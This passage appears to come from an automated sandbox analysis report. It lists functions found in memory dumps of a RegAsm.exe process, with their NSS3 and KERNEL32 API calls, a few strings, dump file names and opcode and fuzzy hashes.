Instruction Fuzzy Hash: 47410C71E40119ABCF11FFA6DD469CDB7B4AF08308F51506BF500B7191DBB86E8A8B98

Function 6C1FAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C1FAB3E,?,?,?), ref: 6C1FAC35

Part of subcall function 6C1DCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C1DCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C1FAB3E,?,?,?), ref: 6C1FAC55

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C1FAB3E,?,?), ref: 6C1FAC70

Part of subcall function 6C1DE300: TlsGetValue.KERNEL32 ref: 6C1DE33C
Part of subcall function 6C1DE300: EnterCriticalSection.KERNEL32(?), ref: 6C1DE350
Part of subcall function 6C1DE300: PR_Unlock.NSS3(?), ref: 6C1DE5BC
Part of subcall function 6C1DE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C1DE5CA
Part of subcall function 6C1DE300: TlsGetValue.KERNEL32 ref: 6C1DE5F2
Part of subcall function 6C1DE300: EnterCriticalSection.KERNEL32(?), ref: 6C1DE606
Part of subcall function 6C1DE300: PORT_Alloc_Util.NSS3(?), ref: 6C1DE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C1FAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1FAB3E), ref: 6C1FACD7
PORT_Alloc_Util.NSS3(?), ref: 6C1FAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C1FAD2B

Part of subcall function 6C1DF360: TlsGetValue.KERNEL32(00000000,?,6C1FA904,?), ref: 6C1DF38B
Part of subcall function 6C1DF360: EnterCriticalSection.KERNEL32(?,?,?,6C1FA904,?), ref: 6C1DF3A0
Part of subcall function 6C1DF360: PR_Unlock.NSS3(?,?,?,?,6C1FA904,?), ref: 6C1DF3D3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: c549ccbfb7465b945b8dc2cc8e5da32fad915b9aaa32a1e42b3a56ffcfd73ff0
Instruction ID: 2ca8735b2dd38b3a85150595d37f9f2798ca927b70da4efe1c1937a6740c93bb
Opcode Fuzzy Hash: c549ccbfb7465b945b8dc2cc8e5da32fad915b9aaa32a1e42b3a56ffcfd73ff0
Instruction Fuzzy Hash: AE311BB1E006095FEB009F658C609AF77B6AF84718B198128E83557740EB35DD16C7A1

Function 6C1D8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C1D8C7C

Part of subcall function 6C279DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DC6
Part of subcall function 6C279DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DD1
Part of subcall function 6C279DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C279DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1D8CB0
TlsGetValue.KERNEL32 ref: 6C1D8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C1D8CE5
PR_Unlock.NSS3(?), ref: 6C1D8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C1D8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1D8D93

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 87a8cf2f6b782d2d0df238974a45e63372402d0ba95f171b9d36e0dbbf825666
Instruction ID: b8d2941d489b25f9834b65c8862e9fc6d2aafa98cce78c75736a95c5e77a0164
Opcode Fuzzy Hash: 87a8cf2f6b782d2d0df238974a45e63372402d0ba95f171b9d36e0dbbf825666
Instruction Fuzzy Hash: 1A312371A01605AFEB00AF68DC447DAB7B4BF15318F26013AEE1967B90D770B964C7D1

Function 6C1D2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C1CE728,?,00000038,?,?,00000000), ref: 6C1D2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C1D2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C1D2E9E
PR_Unlock.NSS3(?), ref: 6C1D2EAB
PR_Unlock.NSS3(?), ref: 6C1D2F0D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 73859f53a11b29ceae641d8152eeb86f43c519c97b1b0afc812d221087fe5706
Instruction ID: 4fdd1e7b59ddfe2bdba24cbffbec03cee14361556346530fdee1554ac3b59726
Opcode Fuzzy Hash: 73859f53a11b29ceae641d8152eeb86f43c519c97b1b0afc812d221087fe5706
Instruction Fuzzy Hash: 8531387AA00105AFEB00AF68DC4497AB778FF15258B058575EC1887B11E731ED64C7E2

Function 6C21CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C21CD93,?), ref: 6C21CEEE

Part of subcall function 6C2114C0: TlsGetValue.KERNEL32 ref: 6C2114E0
Part of subcall function 6C2114C0: EnterCriticalSection.KERNEL32 ref: 6C2114F5
Part of subcall function 6C2114C0: PR_Unlock.NSS3 ref: 6C21150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C21CD93,?), ref: 6C21CEFC

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C21CD93,?), ref: 6C21CF0B

Part of subcall function 6C210840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2108B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C21CD93,?), ref: 6C21CF1D

Part of subcall function 6C20FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C208D2D,?,00000000,?), ref: 6C20FB85
Part of subcall function 6C20FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C20FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C21CD93,?,?,?,?,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF78

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 31b4abe2a102d073f190f96ccec9704252e8380768d938b851043950036ada58
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: AD11A5A5E0820D5BE700AA666C41B6B75EC9F5998EF04403AFE09D7F41FB70D90886F1

Function 6C1C8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C1C8C1B
EnterCriticalSection.KERNEL32 ref: 6C1C8C34
PL_ArenaAllocate.NSS3 ref: 6C1C8C65
PR_Unlock.NSS3 ref: 6C1C8C9C
PR_Unlock.NSS3 ref: 6C1C8CB6

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

Strings

KRAM, xrefs: 6C1C8C8F

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 69b2c510cc2a83dcb3e6a30de63acae72ca1596ccd2a1375fd9154abd813fbb9
Instruction ID: f77b9e361f2867e4ca7dc2749b7508262d578e38fc72a0e1b024d12af08511f3
Opcode Fuzzy Hash: 69b2c510cc2a83dcb3e6a30de63acae72ca1596ccd2a1375fd9154abd813fbb9
Instruction Fuzzy Hash: 272180B16056058FE700AF78C4C46A9FBF4FF15308F06896EE8888B701DB39D895CB96

Function 6C2C2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C2C2CA0
PR_ExitMonitor.NSS3 ref: 6C2C2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C2C2CD1
strdup.MOZGLUE(?), ref: 6C2C2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C2C2D27

Strings

Loaded library %s (static lib), xrefs: 6C2C2D22

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: e37a939c1fe3ea31492d7a237b8e64fe5f72c29f85ee91b76c78ac482163afae
Instruction ID: e460fd3c7c76fbe9490af2930b1405aa74119848e480987b674e1ddef75d9b8d
Opcode Fuzzy Hash: e37a939c1fe3ea31492d7a237b8e64fe5f72c29f85ee91b76c78ac482163afae
Instruction Fuzzy Hash: D611E6F57003089FEB509F14D849AA677B8AB56359F04822DEC0987F41DB32D918CBA2

Function 6C210FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C1B87ED,00000800,6C1AEF74,00000000), ref: 6C211000
PR_NewLock.NSS3(?,00000800,6C1AEF74,00000000), ref: 6C211016

Part of subcall function 6C2798D0: calloc.MOZGLUE(00000001,00000084,6C1A0936,00000001,?,6C1A102C), ref: 6C2798E5

PL_InitArenaPool.NSS3(00000000,security,6C1B87ED,00000008,?,00000800,6C1AEF74,00000000), ref: 6C21102B
TlsGetValue.KERNEL32(00000000,?,?,6C1B87ED,00000800,6C1AEF74,00000000), ref: 6C211044
free.MOZGLUE(00000000,?,00000800,6C1AEF74,00000000), ref: 6C211064

Strings

security, xrefs: 6C211025

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d5834cc715b29bbd50885923fe23235b0dce94f99843cd541ff156ad2eb7be18
Instruction ID: 60807dbccb6e87a9a814e1a4c8d151e837ebaa5406587dd850d89b58d042645a
Opcode Fuzzy Hash: d5834cc715b29bbd50885923fe23235b0dce94f99843cd541ff156ad2eb7be18
Instruction Fuzzy Hash: 6A014831E182585FE7202F2C9C05B5676E8BF26749F00012AEE0896E51EF71C195DBE2

Function 0041F9F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FA3B
DName::operator+.LIBCMT ref: 0041FA42
DName::DName.LIBCMT ref: 0041FA64
DName::operator+.LIBCMT ref: 0041FA6B
DName::operator+.LIBCMT ref: 0041FA72

Strings

throw(, xrefs: 0041FA33, 0041FA5C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction ID: 26e61ad30623f1dc1e2276ec5cbec36ccbccc6a7fda5d33d96f802fb271d9327
Opcode Fuzzy Hash: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction Fuzzy Hash: CC019634600209BFCF04EF64D842EED77B5EF44748F40406AF9019B291DB78EA8B8788

Function 6C252E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C253046

Part of subcall function 6C23EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C23EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C227FFB), ref: 6C25312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C253154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C252E8B

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

Part of subcall function 6C23F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C229BFF,?,00000000,00000000), ref: 6C23F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C227FFA), ref: 6C252EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C25317B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 80824b8f887687b74d0046943b0a3a81b8fb426b4582ed07ac2c1880aec5d493
Instruction ID: 08346025a3f32c5bfbf72b8b54280cafc0753dfc74787f87bd70bde3920a685c
Opcode Fuzzy Hash: 80824b8f887687b74d0046943b0a3a81b8fb426b4582ed07ac2c1880aec5d493
Instruction Fuzzy Hash: F3A19CB5A002199FDB24CF54CC80BABB7B5EF49308F048199ED4967781E731AD59CFA1

Function 6C21ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C21ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C21EDCE

Part of subcall function 6C210BE0: malloc.MOZGLUE(6C208D2D,?,00000000,?), ref: 6C210BF8
Part of subcall function 6C210BE0: TlsGetValue.KERNEL32(6C208D2D,?,00000000,?), ref: 6C210C15

free.MOZGLUE(00000000,?,?,?,?,6C21B04F), ref: 6C21EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C21EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C21EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C21EEFB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 978ad80e97002024bfec25537a748e28487697b6e2441b0a03de781c13e443df
Instruction ID: e36ef952bac84844d7f1cfd42d8b7db0971bf8a0238b8eb2255ca2c2a6127af3
Opcode Fuzzy Hash: 978ad80e97002024bfec25537a748e28487697b6e2441b0a03de781c13e443df
Instruction Fuzzy Hash: B5815AB5A0420A9FEB14CF55DC88AAB77F5AF88308F144428EE159BF51DB30E914CBA1

Function 6C21CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C21C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C21DAE2,?), ref: 6C21C6C2

PR_Now.NSS3 ref: 6C21CD35

Part of subcall function 6C279DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DC6
Part of subcall function 6C279DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C2C0A27), ref: 6C279DD1
Part of subcall function 6C279DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C279DED

Part of subcall function 6C206C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C1B1C6F,00000000,00000004,?,?), ref: 6C206C3F

PR_GetCurrentThread.NSS3 ref: 6C21CD54

Part of subcall function 6C279BF0: TlsGetValue.KERNEL32(?,?,?,6C2C0A75), ref: 6C279C07

Part of subcall function 6C207260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C1B1CCC,00000000,00000000,?,?), ref: 6C20729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C21CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C21CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C21CE2C

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C21CE40

Part of subcall function 6C2114C0: TlsGetValue.KERNEL32 ref: 6C2114E0
Part of subcall function 6C2114C0: EnterCriticalSection.KERNEL32 ref: 6C2114F5
Part of subcall function 6C2114C0: PR_Unlock.NSS3 ref: 6C21150D

Part of subcall function 6C21CEE0: PORT_ArenaMark_Util.NSS3(?,6C21CD93,?), ref: 6C21CEEE
Part of subcall function 6C21CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C21CD93,?), ref: 6C21CEFC
Part of subcall function 6C21CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C21CD93,?), ref: 6C21CF0B
Part of subcall function 6C21CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C21CD93,?), ref: 6C21CF1D

Part of subcall function 6C21CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF47
Part of subcall function 6C21CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF67
Part of subcall function 6C21CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C21CD93,?,?,?,?,?,?,?,?,?,?,?,6C21CD93,?), ref: 6C21CF78

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

